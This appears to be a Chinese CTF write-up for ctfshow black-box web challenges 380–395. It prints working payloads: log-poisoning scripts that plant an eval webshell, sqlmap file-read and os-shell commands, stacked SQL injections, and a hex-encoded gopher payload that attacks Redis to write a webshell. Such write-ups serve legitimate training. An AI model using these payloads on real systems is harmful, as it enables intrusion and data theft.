CTFSHOW黑盒测试篇

web380

payload
后台目录扫描发现page.php,什么,没有扫到,那就自己添加到扫描器的字典里吧。
page.php?id=flag

web381

payload
在这里插入图片描述
地址在源码里面
在这里插入图片描述

web382、383

还是上面的地址,万能密码登录得到flag
在这里插入图片描述

web384

字典生成

import string
s1=string.ascii_lowercase
s2=string.digits
f=open('dict.txt','w')
for i in s1:
	for j in s1:
		for k in s2:
			for l in s2:
				for m in s2:
					p=i+j+k+l+m
					f.write(p+"\n")
f.close()

登录的时候抓包爆破
在这里插入图片描述
在这里插入图片描述
几率是676000分之一。。。。。还是在用户名如果真的是admin的前提下
payload admin xy123

web385

扫描后台得到/install
在这里插入图片描述
按照他说的访问install/?install
然后再去登录,如果大家上面题目用sql注入注出用户名密码会发现是admin admin888
登录就能得到flag了

web386

通过扫描后台发现clear.php和install
访问install
在这里插入图片描述
访问clear.php直接显示清理完成
盲猜一波file参数,删个index.php试试

在这里插入图片描述
哎呦还真可以
在这里插入图片描述
那直接把lock.dat删了,lock.dat在linstall下
在这里插入图片描述
剩下的就是上一题的重复了。
访问install/?install初始化账号密码
然后admin admin888登录

web387

接着扫描后台发现/debug,访问提示file not exit,那我们给他一个参数
在这里插入图片描述
存在文件包含,尝试包含日志,发现可以成功file=/var/log/nginx/access.log
在这里插入图片描述
那直接在UA里面写一句话就可以了,然后再包含日志
在这里插入图片描述
发现没成功,但是在源码里面看到如下内容,也就是传的参数没有被结束
在这里插入图片描述
那我们直接利用php吧dat文件删除是不是就可以了。
写入如下内容

<?php unlink('/var/www/html/install/lock.dat')?>

然后再去访问install/?install,发现确实成功了。
在这里插入图片描述
剩下的就是登录拿flag了。。

388

非预期解,可以写日志但是做了一些限制,所以绕过就好了。
payload:

import requests
import base64
url="http://fb707431-ebb7-41c8-9ce7-57da16163fec.chall.ctf.show/"
url2="http://fb707431-ebb7-41c8-9ce7-57da16163fec.chall.ctf.show/debug/?file=/var/log/nginx/access.log"
cmd=b"<?php eval($_POST[1]);?>"
cmd=base64.b64encode(cmd).decode()
headers={
	'User-Agent':'''<?php system('echo {0}|base64 -d  > /var/www/html/b.php');?>'''.format(cmd)
}
print(headers)
requests.get(url=url,headers=headers)
requests.get(url2)
print(requests.post(url+'b.php',data={'1':'system("cat alsckdfy/check.php");'}).text)

预期解参考视频https://www.bilibili.com/video/BV16A411W7GP

web389

在上题的基础上整了个jwt伪造
类似于web377 https://blog.csdn.net/miuzzx/article/details/111936737
然后将得到的jwt串放到脚本中

import requests
import base64
url="http://bf2e6fca-c437-4f5b-90c3-75b4087cfdc5.chall.ctf.show/"
url2="http://bf2e6fca-c437-4f5b-90c3-75b4087cfdc5.chall.ctf.show/debug/?file=/var/log/nginx/access.log"
cmd=b"<?php eval($_POST[1]);?>"
cmd=base64.b64encode(cmd).decode()
headers={
	'User-Agent':'''<?php system('echo {0}|base64 -d  > /var/www/html/b.php');?>'''.format(cmd),
	'Cookie':'auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYxMDQ0MDA5MSwiZXhwIjoxNjEwNDQ3MjkxLCJuYmYiOjE2MTA0NDAwOTEsInN1YiI6ImFkbWluIiwianRpIjoiYzNlM2U5NjQ4OGI3NWY0MzY4YmE4Njg0ZTRjZWJlZTQifQ.hEV8CkkdvhKsNL_OrssrBzjzstVhq7_sQNefiuplSqU'
}
print(headers)
requests.get(url=url,headers=headers)
requests.get(url2,headers=headers)
print(requests.post(url+'b.php',data={'1':'system("cat alsckdfy/check.php");'},headers=headers).text)

web390

在page.php页面存在sql注入
sqlmap一句话搞定
python sqlmap.py -u http://fdbabc63-b2f3-4050-8b2e-9f5ee609119a.chall.ctf.show/page.php?id=2 --file-read /var/www/html/alsckdfy/check.php --batch
运行完会将文件保存在你的本地,直接访问就拿到flag
在这里插入图片描述

web391

注入点不在page.php了,在输入标题的地方(随便点个页面就能看到)
在这里插入图片描述
继续sqlmap
python sqlmap.py -u http://042a780b-dfd3-4bd9-861c-81661b2915e0.chall.ctf.show/search.php?title=1 --file-read /var/www/html/alsckdfy/check.php --batch

web392

flag在/flag
python sqlmap.py -u http://175efaca-626f-46a6-bddd-68246b90c5f5.chall.ctf.show/search.php?title=1 --os-shell
在这里插入图片描述
在这里插入图片描述

web393

还是先用原来的方法直接进到shell里面,发下不行,读文件也不行,然后试了下–sql-shell可以成功。
但是也是无法使用load_file 和outfile。那我们看下和上个题的界面有哪些不同。
在最后面发现有个搜索引擎
在这里插入图片描述
随便访问一个发现其实是读取的百度的前端代码。那么如果把地址改成file:///flag,或者自己再添加一个url是不是就可以了。
先利用sqlmap跑出来数据库的表名列名
在这里插入图片描述
在这里插入图片描述
payload:
search.php?title=1';insert into link values(10,'a','file:///flag');(在search.php页面存在堆叠注入)
然后访问link.php?id=10就能得到flag

web394、395

非预期解1

直接读flag,flag在alsckdfy/check.php中,在上题的基础上过滤了一些字符,但是可以用16进制绕过。

payload:
search.php?title=1';insert into link values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870); 16进制为file:///var/www/html/alsckdfy/check.php
然后访问link.php?id=10

非预期解2

攻击redis服务,fastcig
就是把上面的16进制改成攻击redis或者fastcgi的payload
然后访问下就可以了
但是前面要做一些工作,题目中的url字段默认长度最长为255所以我们需要修改下,
payload:
search.php?title=1';alter table link modify column url text;
然后就可以打相应的服务了。具体可以参考ssrf篇的360。
发下我的payload吧
search.php?title=1';insert into link values(11,'a',0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c2530442530412532413325304425304125323433253044253041736574253044253041253234312530442530413125304425304125323432382530442530412530412530412533432533467068702532306576616c2532382532345f504f5354253542312535442532392533422533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431332530442530412f7661722f7777772f68746d6c2530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234372530442530416162632e706870253044253041253241312530442530412532343425304425304173617665253044253041253041);
然后访问link.php?id=11就会生成abc.php 密码是1

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值